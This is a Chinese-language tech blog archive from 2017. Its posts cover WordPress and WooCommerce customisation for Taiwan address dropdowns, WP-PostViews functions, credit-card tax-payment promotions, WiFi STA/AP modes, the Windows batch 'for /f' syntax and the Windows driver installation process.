滿符合我的需求的

他後台有四組設定
也有widget的小工具可直接放於側欄
也有short code放置於文章裡面, 如 short code: [vmpt setting=”2″] (其中數字 1 ~ 4)

官方介紹

https://tw.wordpress.org/plugins/post-title-marquee-scroll/
Post title marquee scroll is a simple wordpress plugin to create the marquee scroll in the website with post title. In the admin we have option to choose the category and display order. We can add this plugin directly in the theme files. Also we have widget and short code option.

https://tw.wordpress.org/plugins/vertical-marquee-post-title/
This plugin will create the vertical marquee effect in your website, if you want your post title to move vertically (scroll upward or downwards) in the screen use this plugin. We are using the simple marquee tag to move the text vertically, and tested this plugin in all the leading internet browsers. admin option available to set the scroll effects and colors scheme.

Features of this plugin

Easy to customize
Easy styles override option
Configurable scroll amount
Option to update scroll delay
Option to update the scroll direction
Option to pause the scroller on mouse over
Option to choose category
Option to select order
Option to enter number of post to scroll

Plugin configuration

Drag and drop the widget : Go to widget menu and drag and drop the Vertical marquee post title widget to your sidebar location.

Short code for pages and posts : Use the below short code in the pages and posts.
[vmpt setting=”1″]
[vmpt setting=”2″]
[vmpt setting=”3″]
[vmpt setting=”4″]

Add directly in the theme : Add the below PHP code in your theme PHP file, for example if you want to add this slider in your website footer, just activate the plugin and add this code in footer.php file.

<?php vmptshow(); ?>

2017/06/08

Woocommerce 客製化有台灣的縣市欄位下拉選單&對應的鄉鎮市下拉選單

使用Wordpress的熱門購物車外掛, 最常被客戶要求修改的部分, 收件資料的縣市鄉鎮要能夠讓消費者自動下拉選擇, 以下是開發修改步驟:

事前準備:

1. 安裝 WooCommerce 購物車主體外掛
2. 安裝 Woo Checkout Field Editor Pro外掛: 可以客製化最後的結帳欄位
3. 安裝 WooCommerce Direct Checkout外掛: 可以讓客戶直接購買, 跳至結帳畫面

步驟1. WooCommerce 官方本來就有開放State的修改:

(官方出處)
安裝這個WooCommerce外掛之後, 便可以將以下的程式碼加入function.php, 縣市列表即可生效
當然要注意把國家代碼選TW, 如下的 $states[‘TW’]

/** * Code goes in functions.php or a custom plugin. Replace XX with the country code your changing. */add_filter( 'woocommerce_states', 'custom_woocommerce_states' );function custom_woocommerce_states( $states ) {	$states['TW'] = array(		        '基隆市' => '基隆市',		        '台北市' => '台北市',		        '新北市' => '新北市',		        '宜蘭縣' => '宜蘭縣',		        '桃園市' => '桃園市',		        '新竹市' => '新竹市',		        '新竹縣' => '新竹縣',		        '苗栗縣' => '苗栗縣',		        '台中市' => '台中市',		        '彰化縣' => '彰化縣',		        '南投縣' => '南投縣',		        '雲林縣' => '雲林縣',		        '嘉義市' => '嘉義市',		        '嘉義縣' => '嘉義縣',		        '台南市' => '台南市',		        '高雄市' => '高雄市',		        '屏東縣' => '屏東縣',		        '花蓮縣' => '花蓮縣',		        '台東縣' => '台東縣',		        '澎湖縣' => '澎湖縣',		        '金門縣' => '金門縣',		        '馬祖縣' => '馬祖縣'			);	return $states;}

下一頁還有步驟2喔!

步驟2. 新增外掛 WC City Select 以擴充:

(外掛介紹)
第一步驟做完之後, 請安裝WC City Select這個外掛, 然後再將以下的程式碼加入function.php, 即可呼應步驟1的縣市列表, 同樣需要留意的是要選的國家代碼也是TW, 如以下的 $cities[‘TW’]

add_filter( 'wc_city_select_cities', 'my_cities' );function my_cities( $cities ) {  $cities['TW'] = array('台北市' => array('中正區','大同區','中山區','松山區','大安區','萬華區','信義區','士林區','北投區','內湖區','南港區','文山區'  	),'基隆市' => array('仁愛區','信義區','中正區','中山區','安樂區','暖暖區','七堵區',  	),'新北市' => array('萬里區','金山區','板橋區','汐止區','深坑區','石碇區','瑞芳區','平溪區','雙溪區','貢寮區','新店區','坪林區','烏來區','永和區','中和區','土城區','三峽區','樹林區','鶯歌區','三重區','新莊區','泰山區','林口區','蘆洲區','五股區','八里區','淡水區','三芝區','石門區'  	),'宜蘭縣' => array('宜蘭市','頭城鎮','礁溪鄉','壯圍鄉','員山鄉','羅東鎮','三星鄉','大同鄉','五結鄉','冬山鄉','蘇澳鎮','南澳鄉'   	),'新竹縣' => array('竹北市','湖口鄉','新豐鄉','新埔鎮','關西鎮','芎林鄉','寶山鄉','竹東鎮','五峰鄉','橫山鄉','尖石鄉','北埔鄉','峨眉鄉'   	),'新竹市' => array('北區','東區','香山區'  	),'桃園市' => array('中壢區','平鎮區','龍潭區','楊梅區','新屋區','觀音區','桃園區','龜山區','八德區','大溪區','復興區','大園區','蘆竹區'   	),'苗栗縣' => array('竹南鎮','頭份市','三灣鄉','南庄鄉','獅潭鄉','後龍鎮','通霄鎮','苑裡鎮','苗栗市','造橋鄉','頭屋鄉','公館鄉','大湖鄉', '泰安鄉','銅鑼鄉','三義鄉','西湖鄉','卓蘭鎮'  	),'台中市' => array('中區','東區','南區','西區','北區','北屯區','西屯區','南屯區','太平區','大里區','霧峰區','烏日區','豐原區','后里區','石岡區','東勢區','和平區','新社區','潭子區','大雅區','神岡區','大肚區','沙鹿區','龍井區','梧棲區','清水區','大甲區','外埔區','大安區'  	),'彰化縣' => array('彰化市','芬園鄉','花壇鄉','秀水鄉','鹿港鎮','福興鄉','線西鄉','和美鎮','伸港鄉','員林市','社頭鄉','永靖鄉','埔心鄉','溪湖鎮','大村鄉','埔鹽鄉','田中鎮','北斗鎮','田尾鄉','埤頭鄉','溪州鄉','竹塘鄉','二林鎮','大城鄉','芳苑鄉','二水鄉'),'南投縣' => array('南投市','中寮鄉','草屯鎮','國姓鄉','埔里鎮','仁愛鄉','名間鄉','集集鎮','水里鄉','魚池鄉','信義鄉','竹山鎮','鹿谷鄉'),'嘉義縣' => array('番路鄉','梅山鄉','竹崎鄉','阿里山	','中埔鄉','大埔鄉','水上鄉','鹿草鄉','太保市','朴子市','東石鄉','六腳鄉','新港鄉','民雄鄉','大林鎮','溪口鄉','義竹鄉','布袋鎮'),'嘉義市' => array('東區','西區'),'雲林縣' => array('斗南鎮','大埤鄉','虎尾鎮','土庫鎮','褒忠鄉','東勢鄉','臺西鄉','崙背鄉','麥寮鄉','斗六市','林內鄉','古坑鄉','莿桐鄉','西螺鎮','二崙鄉','北港鎮','水林鄉','口湖鄉','四湖鄉','元長鄉'),'台南市' => array('中西區','東區','南區','北區','安平區','安南區','永康區','歸仁區','新化區','左鎮區','玉井區','楠西區','南化區','仁德區','關廟區','龍崎區','官田區','麻豆區','佳里區','西港區','七股區','將軍區','學甲區','北門區','新營區','後壁區','白河區','東山區','六甲區','下營區','柳營區','鹽水區','善化區','大內區','山上區','新市區','安定區',),'高雄市' => array('新興區','前金區','苓雅區','鹽埕區','鼓山區','旗津區','前鎮區','三民區','楠梓區','小港區','左營區','仁武區','大社區','岡山區','路竹區','阿蓮區','田寮區','燕巢區','橋頭區','梓官區','彌陀區','永安區','湖內區','鳳山區','大寮區','林園區','鳥松區','大樹區','旗山區','美濃區','六龜區','內門區','杉林區','甲仙區','桃源區','那瑪夏區','茂林區','茄萣區',       	),'屏東縣' => array('屏東市','三地門鄉','霧臺鄉','瑪家鄉','九如鄉','里港鄉','高樹鄉','鹽埔鄉','長治鄉','麟洛鄉','竹田鄉','內埔鄉','萬丹鄉','潮州鎮','泰武鄉','來義鄉','萬巒鄉','崁頂鄉','新埤鄉','南州鄉','林邊鄉','東港鎮','琉球鄉','佳冬鄉','新園鄉','枋寮鄉','枋山鄉','春日鄉','獅子鄉','車城鄉','牡丹鄉','恆春鎮','滿州鄉'   	),'台東縣' => array('臺東市','綠島鄉','蘭嶼鄉','延平鄉','卑南鄉','鹿野鄉','關山鎮','海端鄉','池上鄉','東河鄉','成功鎮','長濱鄉','太麻里鄉','金峰鄉','大武鄉','達仁鄉',   	),'花蓮縣' => array('花蓮市','新城鄉','秀林鄉','吉安鄉','壽豐鄉','鳳林鎮','光復鄉','豐濱鄉','瑞穗鄉','萬榮鄉','玉里鎮','卓溪鄉','富里鄉'   	), '澎湖縣' => array('馬公市','湖西鄉','白沙鄉','西嶼鄉','望安鄉','七美鄉'   	), '金門縣' => array('金城鎮','金湖鎮','金沙鎮','金寧鄉','烈嶼鄉','烏坵鄉'   	), '馬祖縣' => array('北竿鄉','南竿鄉','莒光鄉','東引鄉'   	),  );  return $cities;}

下一頁還有步驟3喔!

步驟3. 如何移除資料裡的國家覽位:

做完步驟1與2後, 基本上已經完成縣市與鄉鎮市的選單自動下拉功能, 而步驟3只是小修改
你可以在style.css或其他擴充css的地方, 加入以下的語法將國家的欄位隱藏起來, 看不見但還是有存在

.woocommerce-billing-fields #billing_country_field {display: none;}

完成如下:

下圖就是完成之後的樣子
記得要透過外掛 Woo Checkout Field Editor Pro 作客製化結帳欄位, 把順序調整一下, 再將不需要的東西移除!
OK!

更多參考:

2017/06/01

WP-PostViews外掛-好用的額外功能 可以透過API 操作與更改網址參數使用

更新:
另一個外掛 WordPress Popular Posts 也有類似功能, 鄉親可以自行研究看看

更改主循环排序,按照文章展示次数浏览

只要启用了WP-PostViews,你的网站就自动获得了这种排序浏览的方式
WP-PostViews还自带了排序功能,通常首页展示的文章是按照发布时间来排序的,你可知道只需要在url中添加一些参数就可以改变排序。例如

按照访问次数由多到少排序,尝试这样访问你的网站

http://yourdomain.com/?v_sortby=views

按照访问次数由少到多排序,添加这样的参数

http://yourdomain.com/?v_sortby=views&v_orderby=asc

WP-PostViews API

WP-PostViews定义的函数也可以单独调用,它提供的views小工具就是调用这些函数工作的。

<?php get_least_viewed($mode = '', $limit = 10, $chars = 0, $display = true) ?>//显示最冷门文章//$mode: post | page | both (相当于widget中的Statistics Type设置)//$limit: 显示多少篇文章//$chars: 标题长度//$display: 为true则直接显示,否则作为字符串返回
<?php get_most_viewed($mode = '', $limit = 10, $chars = 0, $display = true) ?>//显示最热门文章
<?php get_least_viewed_category($category_id = 0, $mode = '', $limit = 10, $chars = 0, $display = true) ?>//显示某个或某些目录下最冷门文
<?php get_most_viewed_category($category_id = 0, $mode = '', $limit = 10, $chars = 0, $display = true) ?>//显示某个或某些目录下最热门文章
<?php get_most_viewed_tag($tag_id = 0, $mode = '', $limit = 10, $chars = 0, $display = true) ?>//显示指定标签下的最热门文章
<?php get_least_viewed_tag($tag_id = 0, $mode = '', $limit = 10, $chars = 0, $display = true) ?>//显示指定标签下的最冷门文章
<?php get_totalviews(); ?>//显示全站文章总共被浏览过多少次

2017/05/05

2017信用卡繳房屋稅 優惠整理「免手續費、紅利積點、分期」(106年度)

5月報稅大月,包括免徵房屋稅的房屋現值、及高級房屋新課稅方式等2項細部修正,民眾可多加留意。信義代書指出,今年的房屋稅課徵,有2大變動,一是房屋現值在10.1萬~10.8萬元者,可免徵房屋稅。信義房屋代書林以德表示,過去僅侷限10萬元以下免稅,但今年放寬免徵門檻後,估計部分老舊房屋或是小套房等小坪數產品,可享受免稅優惠,各縣市受惠戶數在數百至數千戶,而每戶每年自今年起可省下稅金約1200多元。

林以德說:「符合新免徵規定的房屋,稅捐處將主動辦理免徵,並通知屋主,民眾不用擔心。」
此外,今年7月起台北市將適用新房屋標準價格,若是2014年7月後完工住宅負擔將可減輕,但2001年7月1日後完工的高級住宅,則將增加稅額負擔,但其稅負變化,將反映於明年的房屋稅單。(詹宜軒/台北報導)

延伸閱讀 ► 2017信用卡繳稅&所得稅報稅優惠「免手續費、紅利積點、分期」(106年度)

 

《中國信託》LINE Pay卡

●免手續費
●LINE Pay卡綁定LINE Pay帳號繳納房屋稅,享LINE Points 1%點數回饋無上限
●活動期間:即日起至106年5月31日止
優惠資訊連結
LINE Pay卡介紹

《玉山銀行》信用卡(分期需登錄)

●刷玉山卡繳稅,免手續費
●3期、6期0利率:5月不限金額,新增1筆一般消費,享3或6期0利率
●抽獎活動:刷卡繳稅,每一筆享一次抽獎機會,RIMOWA行李箱(5名)、西堤餐券2張(50名)
●MaterCard加碼抽:富士拍立得1台(20名)
●活動期間:即日起至106年6月2日止
優惠資訊連結

  

《第一銀行》信用卡(分期需登錄)

●一次付清免收手續費
●3、6期0利率:單筆綜所稅/房屋稅款,滿3000元,可分3、6期0利率
●活動期間:106年5月1日止至106年6月2日止
●公司卡、由你分期卡、Visa金融卡、悠遊debit卡,不適用本活動
優惠資訊連結

 

《台新銀行》全家刷台新信用卡( 需登錄 )

●免手續費
●5/1-5/31單月累積刷滿8,000送50元刷卡金,限量登錄15,000名(5/15開放登錄)
●4期0利率:單筆刷2,000,可申請4期0利率
●活動期間:106年4月26日止至106年6月2日止
優惠資訊連結

 

《新光銀行》信用卡(分期需線上或專人申辦)

●免手續費
●4期0利率:單筆滿3000元,享4期0利率
●抽獎活動:抽墾丁華泰瑞苑住宿憑證(5名)
●活動期間:106年4月26日止至106年6月2日止
優惠資訊連結

 

《大眾銀行》信用卡(分期需網銀申請)

●不限金額,免手續費
●3期0利率:於5月新增一般消費不限金額,享3期0利率
●活動期間:106年5月1日止至106年6月5日止
●優惠資訊連結

  

《聯邦銀行》信用卡(分期需登錄)

●免手續費:不限稅額免手續費
●3期0利率:單筆稅額滿3,000元,可分3期0利率
●活動期間:106年5月1日止至106年6月2日止
●優惠資訊連結
  

《陽信銀行》信用卡(分期需致電客服辦理)

●免手續費
●3期0利率:稅額單筆滿3,000元,可申請3期0利率
●活動期間:106年5月1日止至106年5月31日止
●優惠資訊連結

  

《永豐銀行》信用卡(分期需登錄)

●免手續費:代繳房屋稅免手續費
●3期0利率:單筆繳稅達10,000元以上,再享3期0利率
●100元百貨刷卡金:繳稅滿100,000元,送100元百貨刷卡金
●活動期間:106年5月1日止至106年6月2日止
●優惠資訊連結

  

《日盛銀行》信用卡(需登錄)

●免手續費
●稅後加油並登錄,106年5月至8月於全台加油站刷日盛卡,享3%回饋金(每月每戶上限100元)
●活動期間:106年4月26日止至106年6月2日止
●優惠資訊連結

 

《合作金庫》信用卡

●免手續費:世界卡/無限卡,免收手續費 /其他信用卡,繳納稅費之最近2個月,所有合庫卡一般消費1次,免收手續費
●分期0利率:無
●活動期間:106年5月1日止至106年5月31日止
●優惠資訊連結

  

《遠東商銀》信用卡

●免手續費:不限金額即享0手續費
●分期0利率:無
●紅利折抵:HAPPY GO 4點折抵1元,點數折抵無上限
●活動期間:106年5月1日止至106年5月31日止
●優惠資訊連結

 

2017/04/08

WiFi有兩種mode: STA 與 AP (又叫作SoftAP,HostAP)

AP模式:

Access Point,提供無線接入服務,允許其它無線設備接入,提供數據訪問,一般的無線路由/網橋工作在該模式下。 AP和AP之間允許相互連接。AP MODE通用應用在無線局域網成員設備(即客戶端)的加入,即網絡下行。它提供以無線方式組建無線局域網WLAN,相當際WLAN的中心設備。

Sta模式:

Station, 類似於無線終端,sta本身並不接受無線的接入,它可以連接到AP,一般無線網卡即工作在該模式。
那個STATION MODE,即工作站模式,也可以理解為某個網格中的一個工作站即客戶端。

Sta + AP 模式:

噹噹一個WIFI芯片提供這個功能時,它們可以連到另外的一個網絡當中,如家用路由器就是這種,AP MODE提供給手機設備等連接,提供上網功能,實際能提供上網功能的就是STATION MODE做為INTERNET的一個工作站,所以STATION MODE通常用於提供網絡的數據上行服務。在芯片支持的前提下,LINUX或EMBEDDED LINUX SYSTEM都提供了相應的驅動支持,可以使兩種模式同時存在,同時工作。

Wi-Fi技術簡介

Wi-Fi(WirelessFidelity,無線相容性認證)的正式名稱是”IEEE802.11b”,與藍牙一樣,同屬於在辦公室和家庭中使用的短距離無線技術。雖然在資料安全性方面,該技術比藍牙技術要差一些,但是在電波的覆蓋範圍方面則要略勝一籌。Wi-Fi的覆蓋範圍則可達300英尺左右(約合90米),辦公室自不用說,就是在小一點的整棟大樓中也可使用。因此,Wi-Fi一直是企業實現自己無線局域網所青睞的技術。還有一個原因,就是與代價昂貴的3G企業網絡相比,Wi-Fi似乎更勝一籌。關於Wi-Fi的熱點都誕生在2002年,在美國,Wi-Fi就像早期的因特網一樣,呈現出星火燎原之勢。在2003年它注定要在世界範圍內有著美好的前景。Wi-Fi帶來的高速無線上網將像今天人們打手機一樣平常。各廠商目前都積極將該技術應用於從掌上電腦到桌面電腦的各種設備中,製造新的賣點。隨著Wi-Fi設備數量的增加,其價格將會下降。Wi-Fi設備的全球年產量在2006年將達到3300萬台。

IEEE 802.11 無線網絡包含以下組件:

工作站:

  • 工作站(station,STA)是一個配備了無線網絡設備的網絡節點。具有無線網絡適配器的個人電腦稱為無線客戶端。無線客戶端能夠直接相互通信或通過無線訪問點(access point,AP)進行通信。無線客戶端是可移動的。

無線AP(無線訪問點)

  • 無線AP是在STA和有線網絡之間充當橋梁的無線網絡節點。無線AP包含:
    • 至少一個將無線AP連接到現有有線網絡(比如:乙太骨幹網)的接口。
    • 用於建立與STA的無線連接的無線網絡設備。
    • IEEE 802.1D橋接軟體,用作無線和有線網絡之間的透明橋梁。無線AP類似於移動電話網絡的基站。無線客戶端通過無線AP同時與有線網絡和其他無線客戶端通信。無線AP不是可移動的,用於充當擴展有線網絡的外圍橋梁。
    • 連接埠: 連接埠是設備的一個通道,可支持單個點對點的連接。對於IEEE 802.11b,連接埠是一個用於建立單個無線連接的聯結點,屬於一個邏輯實體。具有單個無線網絡適配器的典型無線客戶端具有一個連接埠,只能支持一個無線連接。典型的無線AP具有多個連接埠,能夠同時支持多個無線連接。無線客戶端上的連接埠和無線AP上的連接埠之間的邏輯連接是一個點對點橋接的區域網網段,類似於基於乙太網的網絡客戶端連接到一個乙太網交換機。

IEEE 802.11定義了兩種運作模式:Ad hoc mode & Infrastructure mode

在Ad hoc模式(也稱為點對點模式):

無線客戶端直接相互通信(不使用無線AP)。使用Ad hoc模式通信的兩個或多個無線客戶端就形成了一個獨立基礎服務集(Independent Basic Service Set,IBSS)。Ad hoc模式用於在沒有提供無線AP時連接無線客戶端。

在Infrastructure模式

:
至少存在一個無線AP和一個無線客戶端。無線客戶端使用無線AP訪問有線網絡的資源。有線網絡可以是一個機構的intranet或Internet,具體情況取決於無線AP的布置。

支持一個或多個無線客戶端的單個無線AP稱為一個基礎服務集(Basic Service Set,BSS)。一組連接到相同有線網絡的兩個或多個AP稱為一個擴展服務集(Extended Service Set,ESS)。一個ESS是單個邏輯網段(也稱為一個子網),並通過它的服務集標識符(Service Set Identifier,SSID)來識別。如果某個ESS中的無線AP的可用物理區域相互重疊,那麼無線客戶端就可以漫遊,或從一個位置(具有一個無線AP)移動到另一個位置(具有一個不同的AP),同時保持網絡層的連接。

IEEE 802.11b運作基礎

當一個無線適配器打開時,便開始掃瞄無線頻率,搜尋無線AP和其他特殊模式下的無線客戶端。假設將無線客戶端配置為運作於特殊模式,無線適配器將選擇一個要與之連接的無線AP。這種選擇是通過使用SSID和信號強度以及幀出錯率資訊自動完成的。接著,無線適配器將切換到所選擇的無線AP的指定通道,開始協商連接埠的使用。這稱為建立關聯。

如果無線AP的信號強度太低,出錯率太高,或者如果在操作系統的指示下(在使用Windows XP的情況下),無線適配器將掃瞄其他無線AP,以確定是否有某個無線AP能夠提供更強的信號或更低的出錯率。如果找到這樣一個無線AP,無線適配器將切換到該無線AP的通道,然後開始協商連接埠的使用。這稱為重新關聯。

與一個不同的無線AP重新建立關聯的原因有許多。信號可能隨著無線適配器遠離無線AP而減弱,或者無線AP可能因為流量太高或干擾太大而變得擁堵。通過切換到另一個無線AP,無線適配器能夠將負載分散到其他無線AP上,從而提高其他無線客戶端的性能。通過設置無線AP,您可以實現信號在大面積區域內的連貫覆蓋,從而使得信號區域只產生輕微重疊。隨著無線客戶端漫遊到不同的信號區域,就能與不同的無線AP關聯或重新關聯,同時維持對有線網絡的連續性邏輯連接。

 

2017/03/13

Windows利用批次檔(Batch)讀取指令執行的結果或文字檔案內容 for /f %i in ...

透過指令去了解「/f」到底有什麼魅力呢?

首先,括弧裡面可用三種模式:

for /f %i in (Test.txt) do echo %i ,
(檔案)
(“字串”)
(‘指令’)

因為預設是以空白(Space)或跳位(Tab)做切割,所以不是整行讀取。
for /f %i in (“This is a test.”) do echo %i

也會遇到一樣的問題。
for /f %i in (‘dir /b’) do echo %i

這樣就可以知道「/f」的魅力了吧?

以下用文字文件test.txt來解釋

在前面參數可以自訂以取得想要的結果,以下文字文件來解釋:

第一個「delims」:
for /f “delims=]” %i in (Test.txt) do echo %i
就是指定字元去分割字串,當然「]」不存在,所以整句會直接上去,預設是空白(Space)或跳位(Tab)。而下面這樣會比較好懂:

for /f “delims=a” %i in (Test.txt) do echo %i

二個字也行喔:
for /f “delims=ai” %i in (Test.txt) do echo %i


接下來是「skip」:

for /f “skip=1” %i in (Test.txt) do echo %i

就是第一行不要處理啦!

下一個是「eol」:
for /f “eol=$” %i in (Test.txt) do echo %i
就是前面有符號「$」不要處理啦!

下一個「tokens」比較複雜:
for /f “tokens=1,2,3” %i in (Test.txt) do echo %i %j %k
他是說,把字串以空白切出來,所以「This is a test.」會被切成「This」「is」「a」「test.」,而取其中第 1, 2, 3 段分別丟到 %i, %j, %k 中。這是「tokens」特殊用法,被切出來的會依序從原指令 in 前面的 %i 開始丟。

下面這樣也可以:
for /f “tokens=1,2,3” %i in (Test.txt) do echo %i %j %k
用連字號也沒有問題。

最後一個是沒有用過的「usebackq」:
for /f “usebackq” %i in (“Test.txt”) do echo %i
是指原本用來表示「(檔案)」改成「(“檔案”)」、「(“字串”)」改成「(‘字串’)」、「(‘指令’)」改成「(`指令`)」。應該是為了要避免跳脫字元的關係,但個人沒有過的原因那就直接用跳脫字元就好了啊!

補充一下:
for /f “eol=$ skip=1 tokens=1-4 delims=a” %i in (“Test.txt”) do echo %k
參數是可以混搭的,要注意「delims」有可能需要用空白,所以建議擺在最後一個,避免判斷錯誤。

其實到這邊就可以結束了,不過還是要提醒「/f」有很多方法可以用,如刪除每一槽下的「Autorun.inf」:
for /f %i in (‘mountvol ^| find “:\”‘) do del /s q %iAutorun.inf
就是一個很簡單的實例。

「for /f」實在是一個很實用的指令,但也是整個教學裡面最難學的。不過學完這個應該也會覺得還好,命令提示字元也不過爾爾,沒錯!的確沒有很難。下一章沒有新知識了,博君一笑罷了。

2017/03/10

微軟的Windows作業系統是怎麼裝驅動程式的呢? (How Windows Installs Devices)

(原文出處: 這裡)

  1. The New Device is Identified (第一步:識別設備,獲取設備標識(ID))
  2. A Driver for the Device is Selected (第二步:選擇最優驅動安裝包)
  3. The Driver for the Device is Installed (第三部:安裝驅動)

Step 1: The New Device is Identified

當一個設備插入到計算機總線後,總線驅動檢測到設備插入,然後給設備分配一串硬件ID(hardware identifier (ID))。
例如,插入一個USB Key插入到電腦後,分配的硬件ID為:

USB\VID_096E&PID_0807&REV_0100
USB\VID_096E&PID_0807

Windows就靠此ID來尋找最優的那個驅動安裝包。

硬件ID的格式如下:

  • A bus-specific prefix, such as PCI\ or USB\.
  • Vendor-specific identifiers for the device, such as a vendor, model, and revision identifier. The format of these identifiers within the hardware ID is also specific to the bus driver.

Hardware ID
A hardware ID is a vendor-defined identification string that Windows uses to match a device to an INF file. In most cases, a device has associated with it a list of hardware IDs. (However, there are exceptions ? see Identifiers for 1394 Devices ). When an enumerator reports a list of hardware IDs for a device, the hardware IDs should be listed in order of decreasing suitability.
通過MSND中的解釋可以了解到:硬件ID是一組ID值,如上面例子中的兩列字符串。

Device ID
A device ID is a string reported by a device’s enumerator. A device has only one device ID. A device ID has the same format as a hardware ID.
設備ID不是一組ID值,只有一個唯一ID值,他唯一標識了此類設備,設備ID和硬件ID的格式一樣,硬件ID中最能嚴格定義此類設備的ID值就為設備ID。如上面兩條ID值中,第一條能更加準確的定義此類設備,所以第一條也叫設備ID。

Compatible ID
A compatible ID is a vendor-defined identification string that Windows uses to match a device to an INF file. A device can have associated with it a list of compatible IDs. The compatible IDs should be listed in order of decreasing suitability. If Windows cannot locate an INF file that matches one of a device’s hardware IDs, it uses compatible IDs to locate an INF file. Compatible IDs have the same format as hardware IDs. However, compatible IDs are typically more generic than hardware IDs.

關於設備ID,硬件ID,兼容ID等概念,可以參考MSDN:http://msdn.microsoft.com/EN-US/library/windows/hardware/ff541224(v=vs.85).aspx,或者《竹林蹊徑:深入淺出Windows驅動開發》中的第十二章。這裡不需要深入了解。

在設備管理器中,可以瀏覽硬件ID:

可以看到,硬件ID不只一個,它是一組ID,其中,最嚴格定義了該類設備的ID也被稱作設備ID。如上圖中,第一個條USB\VID_096E&PID_0807&REV_100為設備ID。

Step 2: A Driver for the Device is Selected

第一步得到硬件IDs,Windows開始搜索驅動安裝包。這節解決幾個問題:

搜索的對比規則是什麼?
搜索順序是怎樣的?
搜索結果有多個驅動匹配,如何選擇最優?
搜索對比規則

每個驅動安裝包中,都有一個INF文件,此文件記錄了廠商定義的設備信息等內容。以某個廠商的智能卡私有驅動為例,其INF片段如下:

[Manufacturer]
%MFGNAME1%=DeviceListMfg1,NTamd64

[DeviceListMfg1.NTamd64]
%USB\VID_08E6&PID_3437.DeviceDesc% =DriverInstall64, USB\VID_08E6&PID_3437 ;
%USB\VID_08E6&PID_3438.DeviceDesc% =DriverInstall64, USB\VID_08E6&PID_3438 ;
%USB\VID_08E6&PID_3480.DeviceDesc% =DriverInstall64, USB\VID_08E6&PID_3480 ;
%USB\VID_08E6&PID_34EC.DeviceDesc% =DriverInstall64, USB\VID_08E6&PID_34EC ;

可以看到[DeviceListMfg1.NTamd64]中,定義了每個產品的VID,PID信息,諸如:USB\VID_08E6&PID_3437,就是廠商自己定義的硬件ID,Windows搜索INF這個區域,對比第一步得到的硬件IDs和INF中的硬件ID,如果能精確匹配,那說明此驅動包符合安裝條件。

我們接著分析微軟的通用智能卡驅動是如何實現的,我們知道,微軟不可能知道我們的設備的硬件ID信息,也就說,在INF中,不能將全世界廠商的硬件ID全部記錄在INF文件中。所以,微軟引入了兼容ID(compatible ID)。兼容ID和硬件ID的格式一樣,但它更加通用,能囊括一大類設備。它被廠商定義在INF文件中。如果Windows沒有找到對應的硬件ID,它會去比對INF中的兼容ID,找到對應的驅動安裝包。

以微軟XP的CCID驅動為例,usbccid.inf中的片段:

[Manufacturer]
%CCID%=CCID,NTamd64

[CCID.NTamd64]
%USBCCID.DeviceDesc% = USBCCID.Install,USB\Class_0B&SubClass_00

此處的USB\Class_0B&SubClass_00,就是兼容ID,在設備管理器中也能顯示兼容ID:

驅動包的搜索順序

Windows搜索INF文件的位置,是按照一定規則來執行的,不同的操作系統,搜索順序會有所不同:

Search phase

Windows Server 2003, Windows XP, and Windows 2000

Windows Vista and
Windows Server 2008

Windows 7 and later versions of Windows

Without user interaction

DevicePath

Driver store

Windows Update

Driver store

DevicePath

With user interaction

Prompt for distribution media

Windows Update

DevicePath

Windows Update

Prompt for distribution media

Not applicable

DevicePath對應的路徑存儲在註冊裡:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion下,定義了DevicePath字符串鍵值。通常,對應的目錄為 Windows\inf。

Driver store在Vista以後,對應的路徑為:Windows\System32\DriverStore\FileRepository。 Vista以前的系統,路徑為:Windows\Driver Cache。從Vista以後的系統,系統開始重用Driver Store,如果找到一個匹配的驅動包,第一步就是先把這個安裝包拷貝到Driver Store中,然後安裝過程在Driver Store中進行。

下面舉例說明:

當前系統如果為Vista,當一個用戶插入一個智能卡到USB hub中時:

USB 總線驅動為智能卡創建一串硬件IDs,Windows首先會搜索Driver store(Windows\System32\DriverStore\FileRepository)中的INF文件。
如果未找到合適的驅動包,Windows啟動 添加新硬件嚮導,在嚮導裡,用戶可以選擇從Windows Update搜索(聯機搜索),也可以自己指定INF安裝路徑。

選擇聯機搜索,Windows搜索順序如下:

DevicePath(Windows\inf)
Windows Update
如果搜索不到,提示用戶插入光盤、軟盤,或者指定驅動包位置

如果驅動包找到,Windows將驅動包運輸(Staging)到Driver Store(Windows\System32\DriverStore\FileRepository)中。
當前系統如果為Win7,當一個用戶插入一個智能卡到USB hub中時:

USB 總線驅動為智能卡創建一串硬件ID,Windows首先會搜索Windows Update,如果找到,將驅動運輸到Driver store(Windows\System32\DriverStore\FileRepository)中。
如果未找到合適的驅動包,Windows繼續搜索Driver store(Windows\System32\DriverStore\FileRepository)和DevicePath(Windows\Inf).
如果找到了安裝,如果未找到,安裝失敗。
Win7不會自動運行安裝嚮導來讓用戶選擇驅動包,但這個嚮導仍然存在,在設備管理器中,選擇未識別的設備,右鍵,選擇更新驅動,同樣能夠達到安裝的目的。

選擇最優驅動包

搜索完成後,可能會有多個驅動包匹配成功,如不同版本號的驅動都匹配成功了。如何進一步篩選,選出最優驅動包?

如果Windows只找到一個驅動包,那好說,直接安裝。
如果Windows找到不只一個驅動包,Windows為每個驅動包的匹配度進行打分,打分最低的那個,就是最優的那個。
如何給驅動打分,有一套規則,規則比較複雜,打分在vista之前和vista之後會有所不同,有所不同,可以參考MSDN:http://msdn.microsoft.com/EN-US/library/ff686700(v=VS.85,d=hv.2).aspx

這里大致說明一下,影響分值有幾個因素:

驅動是如何被簽名(微軟簽名?第三方簽名?未簽名?等)
驅動ID是如何匹配的(根據硬件ID?根據兼容ID?等)
… …
如果打分最低的有多個(就是倒數並列第一的概念),Windows使用如下規則,進一步篩選:
是否已被簽名
通過INF的Version節中的DriverVer字段值判斷哪兒個版本最新,就選哪個。
下面摘自《竹林蹊徑:深入淺出Windows驅動開發》一個解釋片段:

Step 3: The Driver for the Device is Installed

選擇好了驅動,就開始安裝驅動了,安裝驅動的步驟如下:

通過INF文件中的CopyFiles指令,拷貝二進製文件(驅動和其他文件)到指定目錄
如果INF 中有DDInstall.Coinstallers段,註冊device-specific co-installer。 co-installer是一個DLL庫,是為了輔助設備驅動安裝的一個庫,它主要做一些在INF文件中無法描述的操作。例如,添加一些額外的信息到註冊表,讀取註冊表的一些關鍵信息用以執行不同的操作,安裝完成顯示完成頁面等。關於Co-installer更多的信息,可以參考MSDN:http://msdn.microsoft.com/EN-US/library/windows/hardware/ff554011(v=vs.85).aspx
